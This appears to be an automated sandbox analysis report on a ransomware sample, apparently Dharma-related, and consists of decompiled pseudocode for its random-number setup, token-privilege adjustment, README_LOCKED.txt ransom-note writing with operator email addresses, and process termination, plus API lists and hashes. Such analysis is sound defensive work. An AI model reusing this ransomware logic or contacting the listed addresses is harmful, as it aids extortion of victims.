						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t71);
						_push(0xffffffff);
						_push(0x134438);
						_push( *[fs:0x0]);
						_push(_t56);
						_push(_t67);
						_push(CryptAcquireContextA);
						_t37 =  *0x16f170; // 0xd529e887
						_t38 = _t37 ^ _t74;
						__eflags = _t38;
						_push(_t38);
						 *[fs:0x0] =  &_v164;
						_t64 = _t56;
						_v168 = _t64;
						_t69 = _v144;
						asm("xorps xmm0, xmm0");
						 *_t64 = 0x13a468;
						asm("movq [eax], xmm0");
						E001041DE(_t69 + 4, _t64 + 4);
						 *_t64 = 0x13b7a4;
						 *((intOrPtr*)(_t64 + 0xc)) =  *((intOrPtr*)(_t69 + 0xc));
						_v156 = 0;
						E00064B40(_t64 + 0x10, _t60, _t69 + 0x10);
						 *_t64 = 0x13e9cc;
						 *[fs:0x0] = _v164;
						return _t64;
					}
				}
			}

0x000ca250
0x000ca253
0x000ca255
0x000ca260
0x000ca261
0x000ca264
0x000ca269
0x000ca26b
0x000ca271
0x000ca275
0x000ca27b
0x000ca28f
0x000ca295
0x000ca299
0x000ca2c6
0x000ca2cb
0x000ca2e3
0x000ca29b
0x000ca2ad
0x000ca2af
0x000ca2b3
0x00000000
0x000ca2e4
0x000ca2e5
0x000ca2f3
0x000ca2fb
0x000ca303
0x000ca306
0x000ca314
0x000ca319
0x000ca31a
0x000ca31b
0x000ca31c
0x000ca31d
0x000ca31e
0x000ca31f
0x000ca320
0x000ca323
0x000ca325
0x000ca330
0x000ca331
0x000ca332
0x000ca333
0x000ca334
0x000ca339
0x000ca339
0x000ca33b
0x000ca33f
0x000ca345
0x000ca347
0x000ca34a
0x000ca350
0x000ca353
0x000ca35a
0x000ca362
0x000ca36a
0x000ca376
0x000ca37d
0x000ca384
0x000ca389
0x000ca394
0x000ca3a1
0x000ca3a1
0x000ca2b3

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,D529E887,0017A548,?,00000000), ref: 000CA295
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,D529E887,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CA314

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Strings

Crypto++ RNG, xrefs: 000CA2A7, 000CA2BA
CryptAcquireContext, xrefs: 000CA2EB

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCrypt$AcquireErrorLast$ExceptionException@8FeaturePresentProcessorRaiseReleaseThrow___raise_securityfailure___std_exception_copy
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 2320731112-1159690233
Opcode ID: 2cc5236cccc75fd360cde2e5c79ef6f881bd75e95223e6bf043a3b983b70cf82
Instruction ID: 23e67cf3029c6c76754f82c17190fc862d6bd9f028273b28bfcc569197f236cb
Opcode Fuzzy Hash: 2cc5236cccc75fd360cde2e5c79ef6f881bd75e95223e6bf043a3b983b70cf82
Instruction Fuzzy Hash: 4141A371A40709ABD710DF98DC41FDAB7ECFF59B10F00422AF505A7680EBB5A5048B60

Uniqueness

Uniqueness Score: 100.00%

Function 00061760, Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00061760(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				struct _TOKEN_PRIVILEGES _v24;
				struct _LUID _v32;
				intOrPtr _v36;
				void* _v40;
				signed int _t17;
				int _t26;
				void* _t28;
				int _t37;
				long _t38;
				WCHAR** _t43;
				void* _t46;
				void* _t53;
				signed int _t61;
				signed int _t63;

				_t63 = (_t61 & 0xfffffff8) - 0x24;
				_t17 =  *0x16f170; // 0xd529e887
				_v8 = _t17 ^ _t63;
				_push(__ebx);
				if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v40) != 0) {
					_t43 = 0x1519d0;
					_t53 = 0;
					asm("sbb eax, eax");
					_v36 = 0x1519e5;
					do {
						_t57 =  *_t43;
						_t26 = LookupPrivilegeValueW(0,  *_t43,  &_v32); // executed
						if(_t26 == 0) {
							L5:
							_push(":");
							_push(_t46);
							_t28 = E0006C590(E00065F40(), _t57);
							_push(GetLastError());
							_t46 = _t28;
							E0006DBF0(_t43, E00066130());
							_t63 = _t63 + 0x10;
						} else {
							_v24.Privileges = _v32.LowPart;
							_v16 = _v32.HighPart;
							_v24.PrivilegeCount = 1;
							_v12 = 2;
							_t37 = AdjustTokenPrivileges(_v40, 0,  &_v24, 0x10, 0, 0); // executed
							if(_t37 == 0) {
								goto L5;
							}
						}
						_t53 = _t53 + 1;
						_t43 =  &(_t43[1]);
					} while (_t53 != _v36);
					CloseHandle(_v40);
					return E000ECED8(_v8 ^ _t63);
				} else {
					_t38 = GetLastError();
					E0006DBF0(__ebx, E00066130());
					return E000ECED8(_v12 ^ _t63 + 0x00000004, _t38);
				}
			}

0x00061766
0x00061769
0x00061770
0x00061774
0x0006178d
0x000617c0
0x000617c5
0x000617c9
0x000617d1
0x000617d5
0x000617d5
0x000617df
0x000617e7
0x00061824
0x00061824
0x00061829
0x00061834
0x00061844
0x00061845
0x0006184d
0x00061852
0x000617e9
0x000617f1
0x000617fb
0x0006180a
0x00061812
0x0006181a
0x00061822
0x00000000
0x00000000
0x00061822
0x00061855
0x00061856
0x00061859
0x00061867
0x0006187e
0x0006178f
0x0006178f
0x000617a1
0x000617ba
0x000617ba

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0006177E
OpenProcessToken.ADVAPI32(00000000), ref: 00061785
GetLastError.KERNEL32 ref: 0006178F
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 000617DF
AdjustTokenPrivileges.KERNELBASE ref: 0006181A
GetLastError.KERNEL32 ref: 0006183E
CloseHandle.KERNEL32(?), ref: 00061867

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLastProcessToken$AdjustCloseCurrentFeatureHandleLookupOpenPresentPrivilegePrivilegesProcessorValue___raise_securityfailure
String ID:
API String ID: 48564656-0
Opcode ID: d2e84d0a801b1439217ea360d31c661f3bf02ad361fea07fb5711c83a713db85
Instruction ID: a1d930787b0f20802ea0603ababcd14698596e03c5ef85e70b86f496c2db7a63
Opcode Fuzzy Hash: d2e84d0a801b1439217ea360d31c661f3bf02ad361fea07fb5711c83a713db85
Instruction Fuzzy Hash: CC31A4726043009FD710AF74AC4ABAF77E9EF88315F440629F989E6281EB35D9448793

Uniqueness

Uniqueness Score: 4.65%

Function 000CA9B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 83%

			E000CA9B0(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, int _a8) {
				intOrPtr* _v0;
				char _v8;
				signed int* _v12;
				void* _v16;
				signed int _v20;
				char _v44;
				char _v84;
				void* _v85;
				long* _v92;
				char _v96;
				void* _v100;
				int _v104;
				intOrPtr _v108;
				intOrPtr* _v140;
				intOrPtr _v144;
				intOrPtr* _v152;
				signed int _v156;
				void* __ebp;
				signed int _t44;
				signed int _t45;
				void* _t47;
				long** _t50;
				signed char _t61;
				signed int _t67;
				long* _t70;
				void* _t79;
				char* _t86;
				void* _t98;
				intOrPtr* _t100;
				int _t105;
				signed int _t107;
				void* _t109;
				void* _t110;

				_t98 = __edx;
				_push(0xffffffff);
				_push(0x1360b8);
				_push( *[fs:0x0]);
				_t110 = _t109 - 0x60;
				_t44 =  *0x16f170; // 0xd529e887
				_t45 = _t44 ^ _t107;
				_v20 = _t45;
				_push(__ebx);
				_push(__edi);
				_push(_t45);
				 *[fs:0x0] =  &_v16;
				_t100 = __ecx;
				_t105 = _a8;
				_v108 = 0xffffffff;
				_v104 = _t105;
				if(_t105 != 0) {
					_t47 = E000B3DE0(__ecx, __eflags, _t105); // executed
					_t110 = _t110 + 4;
					_t79 = _t47;
				} else {
					_t79 = 0;
				}
				_v100 = _t79;
				_v8 = 1;
				E000ADB10( &_v96, _t98, 1);
				_v96 = 0x13e9d8;
				E000CA250(_t79,  &_v92, _t98); // executed
				_v8 = 2;
				_t50 = E000CA8E0(_t79, _t98); // executed
				if(CryptGenRandom( *_t50, _t105, _t79) == 0) {
					E00064B00( &_v44, "CryptGenRandom");
					_v8 = 3;
					_t86 =  &_v84;
					E000CA3B0(_t79, _t86, _t98, _t100, _t105, __eflags,  &_v44);
					E001047B7( &_v84, 0x16909c);
					asm("int3");
					_push(_t107);
					_v140 = _t86;
					_v152 =  *_v140;
					_v156 = _v156 & 0x00000000;
					_v144 =  *_v152;
					_t61 = E000CB3F0(_v156);
					__eflags = _t61 & 0x000000ff;
					if((_t61 & 0x000000ff) == 0) {
						_v20 = E000CB070(_v16);
					} else {
						_v20 = _v16;
					}
					 *_v0 = _v20;
					_t67 =  *_v12 + 4;
					__eflags = _t67;
					 *_v12 = _t67;
					return _v12;
				} else {
					_t70 = _v92;
					_v8 = 1;
					_v96 = 0x13e9d8;
					if(_t70 != 0) {
						CryptReleaseContext(_t70, 0);
					}
					 *((intOrPtr*)( *_t100 + 0x10))(_t105);
					_v8 = 4;
					memset(_t79, 0, _t105 << 0);
					L000B3E40(_t79);
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t107, _t79);
				}
			}

0x000ca9b0
0x000ca9b3
0x000ca9b5
0x000ca9c0
0x000ca9c1
0x000ca9c4
0x000ca9c9
0x000ca9cb
0x000ca9ce
0x000ca9d0
0x000ca9d1
0x000ca9d5
0x000ca9db
0x000ca9dd
0x000ca9e0
0x000ca9e7
0x000ca9ec
0x000ca9f3
0x000ca9f8
0x000ca9fb
0x000ca9ee
0x000ca9ee
0x000ca9ee
0x000ca9fd
0x000caa05
0x000caa0c
0x000caa14
0x000caa1b
0x000caa23
0x000caa27
0x000caa38
0x000caa9c
0x000caaa4
0x000caaa9
0x000caaac
0x000caaba
0x000caabf
0x000caac0
0x000caac6
0x000caace
0x000caad1
0x000caada
0x000caae0
0x000caae9
0x000caaeb
0x000caafe
0x000caaed
0x000caaf0
0x000caaf0
0x000cab07
0x000cab0e
0x000cab0e
0x000cab14
0x000cab1a
0x000caa3a
0x000caa3a
0x000caa3d
0x000caa41
0x000caa4a
0x000caa4f
0x000caa4f
0x000caa5b
0x000caa60
0x000caa6b
0x000caa6e
0x000caa79
0x000caa91
0x000caa91

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,D529E887,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000CA8E0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

CryptGenRandom.ADVAPI32(00000000,?,00000000,00000001), ref: 000CAA30
CryptReleaseContext.ADVAPI32(?,00000000), ref: 000CAA4F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,D529E887,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CAABA

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

CryptGenRandom, xrefs: 000CAA94

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$Context$Exception@8Throw$AcquireErrorLastRelease$___std_exception_copy$ExceptionFeaturePresentProcessorRaiseRandom___raise_securityfailure
String ID: CryptGenRandom
API String ID: 75714684-3616286655
Opcode ID: 99f4b9541dccf203471f7e26d4621e9973f8b2771eb21b960ec4200ff5e2ecf2
Instruction ID: 66dae4eea10617d2d4e1ea09e3ffc2d8d5e1dd61b28563c01bc0077e8d573a83
Opcode Fuzzy Hash: 99f4b9541dccf203471f7e26d4621e9973f8b2771eb21b960ec4200ff5e2ecf2
Instruction Fuzzy Hash: 5D317E71A00358AFDB10DFA4DC45FDEBBB8EF15714F100169F815A7282DB759A08CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000913D0, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 250
UNIQUE

Download Yara Rule

C-Code - Quality: 73%

			E000913D0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				union _GET_FILEEX_INFO_LEVELS _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				union _GET_FILEEX_INFO_LEVELS _v28;
				WCHAR* _v44;
				void _v48;
				union _GET_FILEEX_INFO_LEVELS _v52;
				char _v68;
				signed int _v72;
				union _GET_FILEEX_INFO_LEVELS _v76;
				short _v92;
				signed int _v96;
				union _GET_FILEEX_INFO_LEVELS _v100;
				short _v116;
				union _GET_FILEEX_INFO_LEVELS _v120;
				char _v192;
				char _v292;
				char _v296;
				signed int _v332;
				void* __ebp;
				signed int _t113;
				signed int _t114;
				intOrPtr* _t120;
				WCHAR* _t148;
				signed int _t153;
				signed int _t156;
				intOrPtr _t161;
				intOrPtr _t166;
				intOrPtr _t171;
				void* _t183;
				void _t187;
				WCHAR* _t197;
				intOrPtr _t202;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t206;
				void _t207;
				signed int _t208;
				signed int _t209;
				intOrPtr _t210;
				void* _t213;
				void* _t214;
				void* _t215;
				intOrPtr* _t222;
				signed int _t225;
				signed int _t226;
				void* _t227;
				void* _t228;
				void* _t229;
				signed int _t230;
				void* _t238;
				void* _t240;

				_t216 = __edi;
				_t205 = __edx;
				_push(0xffffffff);
				_push(0x130f74);
				_push( *[fs:0x0]);
				_t228 = _t227 - 0x118;
				_t113 =  *0x16f170; // 0xd529e887
				_t114 = _t113 ^ _t225;
				_v20 = _t114;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t114);
				 *[fs:0x0] =  &_v16;
				_t183 = __ecx;
				_v120 = 0;
				_push(0x11);
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, __edx, __esi, "README_LOCKED.txt");
				_v8 = 0;
				_v76 = 0;
				_v72 = 7;
				_v92 = 0;
				_v8 = 1;
				_t221 = _v28;
				if(_t221 != 0) {
					_t219 =  >=  ? _v44 :  &_v44;
					_t216 = ( >=  ? _v44 :  &_v44) + _t221;
					_t238 = _v24 - 0x10;
					_t221 =  >=  ? _v44 :  &_v44;
					_push(L000ABB20(_t183,  &_v44));
					_push( &_v92);
					_push(_t216);
					_push( >=  ? _v44 :  &_v44);
					E000AB300(_t183, _t216,  >=  ? _v44 :  &_v44);
					_t228 = _t228 + 0x10;
				}
				_v8 = 2;
				_t120 = E00054C00(_t183, _t205, _t216, _t221, _t238,  &_v116, _t183,  &_v92);
				_t229 = _t228 + 0xc;
				_t222 = _t120;
				_v8 = 4;
				_t187 = 0xf;
				_v52 = 0;
				_v48 = 0xf;
				_v68 = 0;
				_t206 =  *(_t222 + 0x10);
				_v120 = 3;
				if(_t206 != 0) {
					_t240 =  *((intOrPtr*)(_t222 + 0x14)) - 8;
					if(_t240 >= 0) {
						_t120 =  *_t222;
					}
					_t216 = _t120 + _t206 * 2;
					if(_t240 >= 0) {
						_t222 =  *_t222;
					}
					_push(L000ABB20(_t183, _t187));
					_push( &_v68);
					_push(_t216);
					_push(_t222);
					E000AB400(_t183, _t216, _t222);
					_t187 = _v48;
					_t229 = _t229 + 0x10;
				}
				_t122 =  >=  ? _v68 :  &_v68;
				_t230 = _t229 - 8;
				E00064C00( &_v296, _t187 - 0x10,  >=  ? _v68 :  &_v68, 2); // executed
				 *((intOrPtr*)(_t225 +  *((intOrPtr*)(_v296 + 4)) - 0x124)) = 0x13efc4;
				_t43 = _v296 + 4; // 0x656c6946
				_t44 =  *_t43 - 0x68; // 0x656c68de
				 *((intOrPtr*)(_t225 +  *_t43 - 0x128)) = _t44;
				_v8 = 6;
				_t207 = _v48;
				if(_t207 < 0x10) {
					L12:
					_v52 = 0;
					_v48 = 0xf;
					_v68 = 0;
					_v8 = 7;
					_t208 = _v96;
					if(_t208 < 8) {
						L16:
						_v100 = 0;
						_v96 = 7;
						_v116 = 0;
						_v8 = 8;
						_t209 = _v72;
						if(_t209 < 8) {
							L20:
							_v76 = 0;
							_v72 = 7;
							_v92 = 0;
							_v8 = 9;
							_t210 = _v24;
							if(_t210 < 0x10) {
								L24:
								_v28 = 0;
								_v24 = 0xf;
								_v44 = 0;
								E00091020(_t183, _t210, _t216, _t222, _t253,  &_v296); // executed
								E0006DBF0(_t183, E0006C590(E0006C590( &_v296, "\n"), "DharmaParrack@protonmail.com\nwyattpettigrew8922555@mail.com")); // executed
								_t82 = _v296 + 4; // 0x656c6946
								 *((intOrPtr*)(_t225 +  *_t82 - 0x124)) = 0x13efc4;
								_t86 = _v296 + 4; // 0x656c6946
								_t87 =  *_t86 - 0x68; // 0x656c68de
								 *((intOrPtr*)(_t225 +  *_t86 - 0x128)) = _t87;
								E00065800( &_v292);
								_t92 = _v296 + 4; // 0x656c6946
								 *((intOrPtr*)(_t225 +  *_t92 - 0x124)) = 0x13ae84;
								_t96 = _v296 + 4; // 0x153fb8
								_t97 =  *_t96 - 8; // 0x153fb0
								 *((intOrPtr*)(_t225 +  *_t96 - 0x128)) = _t97;
								_v8 = 0xa;
								_v192 = 0x13ac70;
								E000D9E03( &_v192);
								 *[fs:0x0] = _v16;
								return E000ECED8(_v20 ^ _t225);
							} else {
								_t197 = _v44;
								_t210 = _t210 + 1;
								_t148 = _t197;
								if(_t210 < 0x1000) {
									L23:
									_push(_t210);
									E000ED2D0(_t197);
									_t230 = _t230 + 8;
									goto L24;
								} else {
									_t197 =  *(_t197 - 4);
									_t210 = _t210 + 0x23;
									_t253 = _t148 - _t197 + 0xfffffffc - 0x1f;
									if(_t148 - _t197 + 0xfffffffc > 0x1f) {
										goto L28;
									} else {
										goto L23;
									}
								}
							}
						} else {
							_t202 = _v92;
							_t213 = 2 + _t209 * 2;
							_t161 = _t202;
							if(_t213 < 0x1000) {
								L19:
								_push(_t213);
								E000ED2D0(_t202);
								_t230 = _t230 + 8;
								goto L20;
							} else {
								_t197 =  *(_t202 - 4);
								_t210 = _t213 + 0x23;
								if(_t161 - _t197 + 0xfffffffc > 0x1f) {
									goto L27;
								} else {
									goto L19;
								}
							}
						}
					} else {
						_t203 = _v116;
						_t214 = 2 + _t208 * 2;
						_t166 = _t203;
						if(_t214 < 0x1000) {
							L15:
							_push(_t214);
							E000ED2D0(_t203);
							_t230 = _t230 + 8;
							goto L16;
						} else {
							_t197 =  *(_t203 - 4);
							_t210 = _t214 + 0x23;
							if(_t166 - _t197 + 0xfffffffc > 0x1f) {
								goto L26;
							} else {
								goto L15;
							}
						}
					}
				} else {
					_t204 = _v68;
					_t215 = _t207 + 1;
					_t171 = _t204;
					if(_t215 < 0x1000) {
						L11:
						_push(_t215);
						E000ED2D0(_t204);
						_t230 = _t230 + 8;
						goto L12;
					} else {
						_t197 =  *(_t204 - 4);
						_t210 = _t215 + 0x23;
						if(_t171 - _t197 + 0xfffffffc > 0x1f) {
							E0010F44B(_t183, _t197, _t210, _t216, __eflags);
							L26:
							E0010F44B(_t183, _t197, _t210, _t216, __eflags);
							L27:
							E0010F44B(_t183, _t197, _t210, _t216, __eflags);
							L28:
							E0010F44B(_t183, _t197, _t210, _t216, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t225);
							_t226 = _t230;
							_t153 =  *0x16f170; // 0xd529e887
							_v332 = _t153 ^ _t226;
							__eflags = _t197[0xa] - 8;
							if(_t197[0xa] >= 8) {
								_t197 =  *_t197;
							}
							_t156 = GetFileAttributesExW(_t197, 0,  &_v48);
							__eflags = _t156;
							if(_t156 != 0) {
								asm("adc edx, 0x0");
								__eflags = _v12 ^ _t226;
								return E000ECED8(_v12 ^ _t226);
							} else {
								__eflags = _v12 ^ _t226;
								return E000ECED8(_v12 ^ _t226);
							}
						} else {
							goto L11;
						}
					}
				}
			}

0x000913d0
0x000913d0
0x000913d3
0x000913d5
0x000913e0
0x000913e1
0x000913e7
0x000913ec
0x000913ee
0x000913f1
0x000913f2
0x000913f3
0x000913f4
0x000913f8
0x000913fe
0x00091400
0x0009140a
0x00091411
0x00091418
0x0009141f
0x00091423
0x00091428
0x00091431
0x00091438
0x0009143f
0x00091443
0x00091447
0x0009144c
0x00091455
0x00091459
0x0009145b
0x00091462
0x0009146b
0x0009146f
0x00091470
0x00091471
0x00091472
0x00091477
0x00091477
0x0009147d
0x00091487
0x0009148c
0x0009148f
0x00091491
0x00091495
0x0009149a
0x000914a1
0x000914a4
0x000914a8
0x000914ab
0x000914b4
0x000914b6
0x000914ba
0x000914bc
0x000914bc
0x000914be
0x000914c1
0x000914c3
0x000914c3
0x000914ca
0x000914ce
0x000914cf
0x000914d0
0x000914d1
0x000914d6
0x000914d9
0x000914d9
0x000914e8
0x000914ec
0x000914f2
0x00091500
0x00091511
0x00091514
0x00091517
0x0009151e
0x00091522
0x00091528
0x00091556
0x00091556
0x0009155d
0x00091564
0x00091568
0x0009156c
0x00091572
0x000915a6
0x000915a8
0x000915af
0x000915b6
0x000915ba
0x000915be
0x000915c4
0x000915f8
0x000915fa
0x00091601
0x00091608
0x0009160c
0x00091610
0x00091616
0x00091644
0x0009164a
0x00091652
0x00091659
0x0009165d
0x00091685
0x00091693
0x00091696
0x000916a7
0x000916aa
0x000916ad
0x000916ba
0x000916c5
0x000916c8
0x000916d9
0x000916dc
0x000916df
0x000916ec
0x000916f4
0x000916fe
0x00091709
0x00091721
0x00091618
0x00091618
0x0009161b
0x0009161c
0x00091624
0x0009163a
0x0009163a
0x0009163c
0x00091641
0x00000000
0x00091626
0x00091626
0x00091629
0x00091631
0x00091634
0x00000000
0x00000000
0x00000000
0x00000000
0x00091634
0x00091624
0x000915c6
0x000915c6
0x000915c9
0x000915d0
0x000915d8
0x000915ee
0x000915ee
0x000915f0
0x000915f5
0x00000000
0x000915da
0x000915da
0x000915dd
0x000915e8
0x00000000
0x00000000
0x00000000
0x00000000
0x000915e8
0x000915d8
0x00091574
0x00091574
0x00091577
0x0009157e
0x00091586
0x0009159c
0x0009159c
0x0009159e
0x000915a3
0x00000000
0x00091588
0x00091588
0x0009158b
0x00091596
0x00000000
0x00000000
0x00000000
0x00000000
0x00091596
0x00091586
0x0009152a
0x0009152a
0x0009152d
0x0009152e
0x00091536
0x0009154c
0x0009154c
0x0009154e
0x00091553
0x00000000
0x00091538
0x00091538
0x0009153b
0x00091546
0x00091722
0x00091727
0x00091727
0x0009172c
0x0009172c
0x00091731
0x00091731
0x00091736
0x00091737
0x00091738
0x00091739
0x0009173a
0x0009173b
0x0009173c
0x0009173d
0x0009173e
0x0009173f
0x00091740
0x00091741
0x00091746
0x0009174d
0x00091750
0x00091754
0x00091756
0x00091756
0x0009175f
0x00091765
0x00091767
0x00091784
0x00091787
0x00091791
0x00091769
0x0009176e
0x00091778
0x00091778
0x00000000
0x00000000
0x00000000
0x00091546
0x00091536

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000916FE

Part of subcall function 000D9E03: std::ios_base::_Tidy.LIBCPMT ref: 000D9E23

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

README_LOCKED.txt, xrefs: 0009140C
DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com, xrefs: 0009166B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::ios_base::_$FeatureIos_base_dtorPresentProcessorTidy___raise_securityfailure
String ID: DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com$README_LOCKED.txt
API String ID: 2896088507-2630719882
Opcode ID: 9221a42d10419cb35fff5f0e726d631509d4d15f769efd8a249c85530610d4fd
Instruction ID: f8f82f91f9fce98e32f462879340216bafba77c14920b6d312bc727c3fca42ef
Opcode Fuzzy Hash: 9221a42d10419cb35fff5f0e726d631509d4d15f769efd8a249c85530610d4fd
Instruction Fuzzy Hash: 07A1AE71A00249DFDF14DFA8C989BDEBBF5EF48304F244568E404BB282D775AA44CB61

Uniqueness

Uniqueness Score: 100.00%

Function 001190D7, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001190D7(int _a4) {
				void* _t7;
				void* _t14;
				void* _t16;

				_t7 = E0011F7FB(_t14, _t16); // executed
				if(_t7 != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E0011915C(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x001190dc
0x001190e3
0x001190ff
0x001190ff
0x00119108
0x00119111

APIs

GetCurrentProcess.KERNEL32(00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000,?,00112338,00000003), ref: 001190F8
TerminateProcess.KERNEL32(00000000,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000,?,00112338,00000003), ref: 001190FF

